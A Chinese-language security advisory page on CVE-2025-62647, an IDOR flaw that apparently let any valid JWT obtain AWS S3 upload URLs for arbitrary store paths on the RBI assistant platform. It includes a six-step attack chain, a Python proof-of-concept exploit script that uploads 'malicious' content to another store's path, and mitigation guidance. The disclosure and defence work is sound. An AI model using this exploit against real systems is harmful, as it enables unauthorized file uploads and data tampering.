IPBUF安全漏洞报告
English
CVE-2025-62647 CVSS 5.0 中危

CVE-2025-62647 RBI助手平台JWT越权访问任意门店路径漏洞

披露日期: 2025-10-17

漏洞信息

漏洞编号
CVE-2025-62647
漏洞类型
越权访问/不安全直接对象引用(IDOR)
CVSS评分
5.0 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Restaurant Brands International (RBI) Assistant Platform

相关标签

IDOR越权访问JWT权限控制不当RBI汉堡王Tim HortonsPopeyesAWS S3API安全

漏洞概述

CVE-2025-62647是存在于Restaurant Brands International(RBI)助手平台中的一个安全漏洞,该平台服务于包括汉堡王(Burger King)、蒂姆霍顿斯(Tim Hortons)和波派黎斯(Popeyes)在内的多个知名快餐连锁品牌。该漏洞披露于2025年10月17日,CVSS 3.1评分为5.0分,属于中危级别漏洞。

RBI助手平台是一个用于管理旗下各门店运营的内部系统,其核心功能之一是为授权用户提供API接口,用于获取AWS签名上传URL,以便门店上传相关数据或文件。然而,该平台在JWT(JSON Web Token)的权限控制机制上存在严重缺陷——平台颁发的JWT令牌可以被用于调用API,从而获取任意门店路径的AWS签名上传URL。这意味着攻击者只需获取一个有效的JWT令牌,便可绕过正常的权限验证机制,访问系统中所有门店的存储路径。

根据披露的信息,该漏洞影响了截至2025年9月6日的所有RBI助手平台版本。该漏洞最初由安全研究员在bobdahacker.com博客上披露,随后被多家安全媒体报道,包括Malwarebytes和Yahoo News等。该漏洞属于权限控制不当类问题,虽然不会直接泄露大量敏感数据,但可能被攻击者利用进行未授权的数据上传操作,对平台数据的完整性和各门店的运营安全构成威胁。

技术细节

该漏洞的核心问题在于RBI助手平台API端点的访问控制机制设计不当。平台使用JWT(JSON Web Token)进行身份认证,JWT中包含了用户的身份信息。然而,在处理获取AWS签名上传URL的API请求时,平台未能正确验证JWT令牌中声明的门店路径与实际请求的路径是否一致。

具体技术原理如下:

1. **JWT认证流程**:用户通过认证后获取JWT令牌,令牌中包含用户身份和所属门店信息。

2. **API调用过程**:用户使用JWT令牌调用API接口(如`/api/get-upload-url`或类似端点),请求中指定一个文件路径,服务器验证JWT有效性后返回一个AWS S3预签名URL。

3. **漏洞触发点**:服务器在验证JWT时,仅检查令牌的有效性和签名是否正确,但未对请求路径中的门店标识符进行权限校验。攻击者可以修改请求参数中的路径字段,指定任意门店的路径,服务器仍会返回对应的AWS签名上传URL。

4. **利用方式**:攻击者首先需要获取一个有效的低权限JWT令牌(可通过注册门店账号或钓鱼等方式获得),然后修改API请求中的路径参数,将目标门店的路径替换为自己的路径,即可获取该门店的AWS上传权限。

5. **影响范围**:由于该漏洞影响所有门店路径,攻击者理论上可以上传任意文件到任意门店的S3存储桶,可能导致恶意文件上传、数据篡改或存储资源滥用。

攻击链分析

STEP 1
第一步:获取合法凭证
攻击者通过正常渠道(如注册一个门店账号或通过社会工程学手段)获取RBI助手平台的一个有效低权限JWT令牌。
STEP 2
第二步:分析API接口
攻击者分析平台的API文档或通过抓包分析,识别出用于获取AWS签名上传URL的API端点及其请求参数格式。
STEP 3
第三步:构造恶意请求
攻击者使用合法JWT令牌,但将请求中的store_path参数修改为目标门店的路径,利用平台未对路径进行权限校验的缺陷。
STEP 4
第四步:获取签名URL
服务器验证JWT有效性后,未检查路径权限,直接返回目标门店对应的AWS S3预签名上传URL。
STEP 5
第五步:未授权文件上传
攻击者使用获取的预签名URL,向目标门店的S3存储桶上传任意恶意文件,可能包含恶意脚本、篡改数据或垃圾内容。
STEP 6
第六步:影响扩大
上传的恶意文件可能被门店系统自动处理,导致供应链攻击或数据完整性破坏,影响多个门店的正常运营。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-62647 - RBI Assistant Platform IDOR Vulnerability PoC # Exploits JWT-based API to retrieve AWS signed upload URLs for arbitrary store paths import requests import json # Step 1: Obtain a valid JWT token (e.g., by registering a legitimate store account) # Replace with actual authentication endpoint AUTH_URL = "https://rbi-assistant.example.com/api/auth/login" STORE_CREDENTIALS = { "username": "attacker_store_user", "password": "attacker_password" } def get_jwt_token(auth_url, credentials): """Authenticate and retrieve a valid JWT token""" response = requests.post(auth_url, json=credentials) if response.status_code == 200: token = response.json().get("token") return token return None # Step 2: Define the API endpoint that returns AWS signed upload URLs UPLOAD_URL_API = "https://rbi-assistant.example.com/api/get-upload-url" def exploit_idor(token, target_store_path): """ Exploit the IDOR vulnerability by requesting an AWS upload URL for a store path that the authenticated user should not have access to. """ headers = { "Authorization": f"Bearer {token}", "Content-Type": "application/json" } payload = { "store_path": target_store_path, # Path belonging to another store "file_name": "malicious_file.txt" } response = requests.post(UPLOAD_URL_API, headers=headers, json=payload) if response.status_code == 200: signed_url = response.json().get("upload_url") print(f"[+] Successfully obtained signed URL for target store: {target_store_path}") print(f"[+] Signed URL: {signed_url}") return signed_url else: print(f"[-] Failed. Status code: {response.status_code}") return None # Step 3: Use the signed URL to upload arbitrary content to the target store def upload_to_target(signed_url, content): """Upload malicious content to the target store's S3 bucket""" response = requests.put(signed_url, data=content) if response.status_code == 200: print("[+] File successfully uploaded to target store!") else: print(f"[-] Upload failed. Status code: {response.status_code}") # Main exploit chain if __name__ == "__main__": # Get a legitimate JWT token jwt_token = get_jwt_token(AUTH_URL, STORE_CREDENTIALS) if jwt_token: print(f"[+] JWT token obtained: {jwt_token[:30]}...") # Target a different store's path (IDOR exploitation) target_path = "stores/victim_store_id/uploads/" signed_url = exploit_idor(jwt_token, target_path) if signed_url: # Upload arbitrary content upload_to_target(signed_url, b"Malicious content - arbitrary file upload") else: print("[-] Failed to obtain JWT token")

影响范围

Restaurant Brands International (RBI) Assistant Platform <= 2025-09-06

防御指南

临时缓解措施
在等待官方修复版本发布之前,建议采取以下临时缓解措施:1)在API网关层面增加额外的权限校验中间件,验证JWT令牌中的门店标识与请求路径的匹配关系;2)限制JWT令牌的有效期,缩短令牌的生命周期;3)监控异常的API调用模式,特别是来自同一令牌但访问多个不同门店路径的请求;4)审查并限制AWS S3存储桶的预签名URL权限,确保上传操作仅限授权用户执行;5)对所有门店路径实施白名单机制,确保用户只能访问其授权范围内的路径。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表